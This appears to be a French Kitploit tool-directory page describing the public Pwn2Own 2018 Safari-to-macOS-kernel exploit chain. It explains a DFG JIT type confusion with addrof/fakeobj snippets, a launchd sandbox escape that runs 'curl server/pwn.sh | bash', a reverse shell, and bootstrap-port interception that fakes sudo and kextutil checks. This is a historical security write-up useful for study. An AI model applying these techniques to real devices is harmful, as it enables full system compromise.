Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pwn2own2018 — Un exploit chain Pwn2Own | Kitploit
Outils/GitHubGitHub/saelo/pwn2own2018
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubsaelo/pwn2own2018

pwn2own2018

Un exploit chain Pwn2Own

Voir le dépôt
75911251il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Pwn2Own 2018 : Safari + macOS

RCE sur Safari, évasion du sandbox et LPE jusqu'au noyau pour macOS 10.13.3.

Utilisation

Installez nasm et tornado :

root@kitploit:~
brew install nasm
pip3 install tornado

Consultez config.py si vous souhaitez changer l'hôte ou les ports. Démarrez ensuite le serveur avec ./server.py et naviguez vers l'URL affichée.

Vue d'ensemble

Cette chaîne d'exploitation utilise trois bugs différents pour passer du code JavaScript exécuté dans Safari à l'exécution de code en mode noyau :

  1. Une optimisation incorrecte dans le compilateur JIT DFG qui peut être utilisée pour provoquer une confusion de type
  2. Des vérifications de sandbox manquantes dans launchd, permettant à des processus sandboxés de lancer des processus arbitraires (non sandboxés)
  3. Un bug logique dans XNU, permettant à un processus de remplacer le port bootstrap de ses processus enfants, conduisant à une situation de MitM IPC

La chaîne d'exploitation est implémentée en six étapes, chacune située dans son propre sous-répertoire :

  • stage0/ : l'exploit WebKit
  • stage1/ : le payload de la première étape écrit en assembleur
  • stage2/ : le payload de la deuxième étape pour effectuer l'évasion du sandbox
  • stage3/ : scripts shell pour coordonner les étapes restantes
  • stage4/ : un LPE pour obtenir root
  • stage5/ : un LPE pour obtenir l'exécution de code en mode noyau
  • libspc/ : réimplémentation du protocole XPC, utilisée par les étapes 2, 4 et 5

Chaque sous-répertoire (à l'exception de libspc/) contient un fichier nommé make.py qui, lorsqu'il est exécuté, effectue toutes les commandes de build nécessaires et crée une liste de fichiers à servir par le serveur web.

Étape 0

Objectif : obtenir l'exécution de shellcode dans le processus WebContent sandboxé
Bug exploité : optimisation incorrecte dans le compilateur JIT DFG
Voir aussi cette présentation BlackHat

Le compilateur JIT DFG représente le code JavaScript dans sa propre représentation intermédiaire (IR), le Data Flow Graph (DFG). En général, une expression JavaScript est traduite en une ou plusieurs instructions IR dans ce graphe. Dans le cas d'une fonction constructeur, l'instruction CreateThis est émise et est responsable de l'allocation de l'objet this construit par la fonction. Par exemple, la fonction function Consructor() {}, lorsqu'elle est appelée avec new, serait approximativement traduite en

root@kitploit:~
v0 = CreateThis
return v0

En regardant l'AbstractInterpreter, nous pouvons voir que le compilateur JIT DFG suppose que l'opération CreateThis n'entraîne aucun effet de bord en dehors d'une allocation sur le tas. En effet, ce code :

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

sera approximativement traduit en instructions DFG suivantes : (Ici, le StructureCheck a été déplacé au début de la fonction par la TypeCheckHoistingPhase).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Cependant, cette hypothèse est invalide, car le code du chemin lent (slow-path) de CreateThis peut exécuter du code JavaScript arbitraire dans certains cas. En particulier, en utilisant un Proxy autour de la fonction réelle, le piège get pour la propriété « prototype » sera appelé pendant le gestionnaire du chemin lent de CreateThis, car il doit récupérer l'objet prototype pour l'objet construit :

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Ainsi, il est désormais possible de modifier la Structure d'un objet sans que le compilateur JIT n'effectue de bailout.

Ce bug peut être utilisé pour construire les primitives addrof et fakeobj comme suit :

addrof

Nous compilons le code pour le cas d'un JSArray avec des éléments doubles unboxed, puis, dans le callback, nous passons à des éléments JSValue. Ensuite, le code JIT chargera une JSValue depuis le tableau, mais traitera ces bits comme un double et nous les renverra. Le code suivant assignera l'adresse de leakme à la propriété « address » de l'objet construit.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Ici, nous faisons essentiellement l'inverse : nous optimisons le code pour stocker un double dans un tableau avec des éléments doubles unboxed, puis nous passons à nouveau à des éléments JSValue dans le callback. Le code continuera d'écrire notre double contrôlé sous forme unboxed dans le stockage de sauvegarde. Lorsque nous accéderons plus tard à cet élément du tableau, il traitera ces bits comme une JSValue au lieu d'un double. Le code suivant écrira le double unboxed address dans le tampon de sauvegarde de a, que nous pourrons ensuite lire comme JSValue, ce qui nous permet d'« injecter » des JSValues de notre choix dans le moteur.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

Nous nous retrouvons ainsi avec la capacité d'écrire un double et de le traiter comme un pointeur JSObject, et vice versa. Cela peut être exploité comme décrit dans attacking javascript engines.

L'exploit parvient d'abord à obtenir une lecture/écriture arbitraire de la mémoire du processus en simulant un Float64Array, puis recherche la région JIT (mappée RWX) et y écrit le shellcode de l'étape 1.

Étape 1

Objectif : amorcer l'étape 2 en écrivant un .dylib sur le disque et en le chargeant via dlopen()

Un court payload en assembleur qui fait essentiellement ce qui suit :

  1. Appeler confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) pour obtenir un chemin vers un répertoire accessible en écriture
  2. Créer un nouveau fichier nommé « x.dylib » dans le répertoire accessible en écriture
  3. Écrire le dylib de l'étape 2 dans le fichier nouvellement créé
  4. Charger le dylib dans le processus WebContent via dlopen()

Étape 2

Objectif : sortir du sandbox
Bug exploité : vérifications de sandbox manquantes dans l'API « legacy_spawn » de launchd
Voir aussi cette présentation

Launchd expose le point de terminaison RPC « legacy_spawn » comme routine 817 dans le sous-système 3. Cette API ne vérifie pas si l'appelant est autorisé à lancer des processus et se contentera d'appeler execve sur n'importe quel binaire du système pour l'appelant, avec des arguments contrôlés. Comme launchd est accessible via le port bootstrap, cela permet de s'échapper du sandbox.

L'exploit exécute essentiellement curl server/pwn.sh | bash et passe ainsi le contrôle à l'étape 3.

Étape 3

Objectif : faire apparaître la calculatrice et amorcer les étapes restantes

Cette étape exécute open /Applications/Calculator.app et établit un shell inversé, puis récupère tous les fichiers requis pour les étapes restantes et exécute les exploits.

Étape 4

Objectif : obtenir root via un exploit LPE
Bug exploité : MitM sur le port bootstrap de XNU
Voir aussi cette présentation POC

Dans XNU, l'API task_set_special_port permet aux appelants de remplacer leur port bootstrap, qui est utilisé pour communiquer avec launchd. Ce port est hérité lors des forks : les processus enfants utiliseront le même port bootstrap que le parent. Un problème de sécurité survient alors si le processus enfant est plus privilégié que le parent, comme c'est le cas par exemple avec sudo (un binaire setuid) ou kextutil (qui possède l'entitlement « com.apple.rootless.kext-management »). En remplaçant le port bootstrap et en forkant un processus enfant, nous pouvons désormais obtenir une position MitM entre notre enfant et launchd (que notre enfant s'attend à atteindre lorsqu'il envoie des messages au port bootstrap). Le processus enfant demandera à launchd de résoudre divers services mach et XPC. En résolvant ces services vers d'autres ports que nous contrôlons, nous pouvons également obtenir une position MitM avec des services système arbitraires utilisés par notre processus enfant. L'exploitation dépend ensuite de la manière dont ces services sont utilisés par le programme attaqué.

Pour obtenir root, nous ciblons le binaire sudo et interceptons sa communication avec opendirectoryd, qui est utilisé par sudo pour vérifier les identifiants. Nous modifions les réponses d'opendirectoryd pour faire croire que notre mot de passe était valide.

Il semble qu'une tentative de correction de ce problème ait eu lieu, car libxpc (qui assure la communication avec launchd) vérifie que les réponses proviennent bien d'un processus avec uid=0 et pid=1 (== launchd). Cependant, ces vérifications sont insuffisantes. Nous pouvons les contourner comme suit pour résoudre opendirectoryd vers notre propre port :

  1. Enregistrer notre propre service mach (par ex. net.saelo.hax) auprès de launchd à l'aide de l'API bootstrap_register2
  2. Intercepter la requête de recherche de service adressée à launchd et remplacer la chaîne com.apple.system.opendirectoryd.api par net.saelo.hax
  3. Transférer la requête à launchd, mais laisser le port de réponse d'origine en place, afin que launchd réponde directement au processus enfant et que les vérifications de libxpc dans notre enfant aboutissent

Tout ce qui reste désormais (pour une élévation de privilèges vers root) est de transférer les messages entre opendirectoryd et sudo, mais en remplaçant la réponse d'erreur d'authentification par une réponse de succès.

Étape 5

Objectif : charger une extension de noyau (auto-signée)
Bug exploité : MitM sur le port bootstrap de XNU

Cet exploit utilise la même faille que l'étape 4, mais cette fois en ciblant kextutil. Nous interceptons la connexion à com.apple.trustd et usurpons la chaîne de certificats, ce qui amène kextutil à penser que notre kext auto-signé est en réalité signé directement par Apple.

kextutil procède approximativement comme suit lorsqu'on lui demande de charger un .kext depuis le disque :

  1. Vérifier l'intégrité du .kext en contrôlant toutes les signatures par rapport au certificat fourni
  2. Communiquer avec trustd pour obtenir la chaîne de certificats et déterminer si le certificat racine est de confiance
  3. Vérifier que la racine de la chaîne de certificats est un certificat Apple
  4. Vérifier si le .kext est approuvé par l'utilisateur en communiquant avec syspolicyd. Cependant, si syspolicyd est inaccessible, kextutil continue simplement

Cela permet l'attaque suivante pour charger des extensions de noyau auto-signées :

  1. Créer un .kext et le signer avec un certificat auto-signé
  2. Exécuter kextutil et résoudre com.apple.trustd vers notre propre service
  3. Intercepter les messages à destination de trustd et répondre avec une chaîne de certificats codée en dur d'un .kext Apple officiel
  4. Bloquer la communication avec syspolicyd (par ex. en remplaçant com.apple.security.syspolicy.kext par net.saelo.lolno dans les requêtes de recherche de service adressées à launchd)

kextutil chargera alors notre extension de noyau dans le noyau.

Télécharger l’outil